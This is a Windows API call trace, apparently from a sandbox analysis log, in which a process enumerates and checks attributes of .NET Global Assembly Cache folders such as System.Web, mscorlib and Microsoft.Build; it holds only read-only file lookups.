	[0088.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x124529b8 | out: lpFileInformation=0x124529b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d12920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x687a9880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x687a9880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.586] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.586] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d12920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x687a9880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x687a9880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.586] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d12920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x687a9880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x687a9880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.586] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x687f5b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x51dea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.586] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.586] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Web.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.web\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.web.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452a58 | out: lpFileInformation=0x12452a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x687f5b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x51dea8)) returned 1
	[0088.586] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib"), fInfoLevelId=0x0, lpFileInformation=0x12452aa8 | out: lpFileInformation=0x12452aa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9320cfa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9320cfa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9320cfa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.587] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.587] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9320cfa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9320cfa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9320cfa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.587] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9320cfa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9320cfa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9320cfa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.587] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x931c0ce0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d1dc840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d1dc840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.587] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.587] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.587] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x12452b48 | out: lpFileInformation=0x12452b48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x931c0ce0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d1dc840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d1dc840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.587] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.587] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x931c0ce0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d1dc840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d1dc840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.588] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x931c0ce0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5d1dc840, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d1dc840, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d2029a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x5078a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.dll", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="normidna.nlp", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfc.nlp", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x9e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfd.nlp", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x108e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkc.nlp", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xf116, dwReserved0=0x0, dwReserved1=0x0, cFileName="normnfkd.nlp", cAlternateFileName="")) returned 1
	[0088.589] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.589] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.589] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452d78 | out: lpFileInformation=0x12452d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d2029a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x5078a0)) returned 1
	[0088.590] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normidna.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normidna.nlp"), fInfoLevelId=0x0, lpFileInformation=0x12452dc8 | out: lpFileInformation=0x12452dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xe7ce)) returned 1
	[0088.590] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfc.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x12452e18 | out: lpFileInformation=0x12452e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xb7e4)) returned 1
	[0088.591] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfd.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x12452e68 | out: lpFileInformation=0x12452e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x9e76)) returned 1
	[0088.591] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkc.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkc.nlp"), fInfoLevelId=0x0, lpFileInformation=0x12452eb8 | out: lpFileInformation=0x12452eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x108e0)) returned 1
	[0088.591] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkd.nlp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\normnfkd.nlp"), fInfoLevelId=0x0, lpFileInformation=0x12452f08 | out: lpFileInformation=0x12452f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x931e6e40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x931e6e40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x931e6e40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xf116)) returned 1
	[0088.591] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil"), fInfoLevelId=0x0, lpFileInformation=0x12452f58 | out: lpFileInformation=0x12452f58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9176b980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1
	[0088.591] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.591] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9176b980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.592] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9176b980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.592] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932f17e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932f17e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1
	[0088.592] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cc6660, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5cc6660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5cc6660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AspNetMMCExt", cAlternateFileName="ASPNET~1")) returned 1
	[0088.592] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ef7000, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ef7000, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ef7000, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Activities.Build", cAlternateFileName="MICROS~2.BUI")) returned 1
	[0088.592] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4225040, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4225040, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4225040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build", cAlternateFileName="MICROS~1.BUI")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa41feee0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa41feee0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa41feee0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v4.0", cAlternateFileName="MICROS~1.0")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4271300, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4271300, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4271300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine", cAlternateFileName="MICROS~1.ENG")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4297460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4297460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework", cAlternateFileName="MICROS~1.FRA")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42e3720, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa42e3720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa42e3720, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.v4.0", cAlternateFileName="MICROS~2.0")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4309880, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4309880, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v4.0", cAlternateFileName="MICROS~3.0")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9327f3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9327f3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CSharp", cAlternateFileName="MICROS~1.CSH")) returned 1
